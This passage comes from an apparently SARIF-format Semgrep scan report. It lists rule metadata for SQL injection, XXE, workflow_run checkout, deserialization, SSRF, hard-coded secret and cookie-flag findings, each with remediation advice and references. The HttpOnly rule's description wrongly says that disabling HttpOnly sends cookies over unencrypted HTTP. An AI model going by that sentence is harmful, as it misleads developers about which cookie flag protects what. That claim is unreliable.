to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","id":"csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","name":"csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","id":"java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","name":"java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n","text":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","id":"java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","name":"java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"help":{"markdown":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout)\n - [https://securitylab.github.com/research/github-actions-preventing-pwn-requests/](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n - [https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md](https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md)\n - [https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)\n","text":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","id":"yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","name":"yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice."},"help":{"markdown":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.cookie-serialization.cookie-serialization)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_cookie_serialization.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_cookie_serialization.rb)\n - [https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/](https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/)\n","text":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.cookie-serialization.cookie-serialization","id":"ruby.lang.security.cookie-serialization.cookie-serialization","name":"ruby.lang.security.cookie-serialization.cookie-serialization","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.cookie-serialization.cookie-serialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","id":"ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","name":"ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","id":"kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","name":"kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","id":"python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","name":"python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","id":"python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","name":"python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","id":"python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","name":"python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-dill-flask.tainted-dill-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","id":"python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","name":"python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-dill-flask.tainted-dill-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP."},"help":{"markdown":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open)\n","text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client."},"help":{"markdown":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","id":"swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","name":"swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","id":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","name":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-cookie-http-false.taint-cookie-http-false)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-cookie-http-false.taint-cookie-http-false","id":"php.lang.security.taint-cookie-http-false.taint-cookie-http-false","name":"php.lang.security.taint-cookie-http-false.taint-cookie-http-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-cookie-http-false.taint-cookie-http-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, 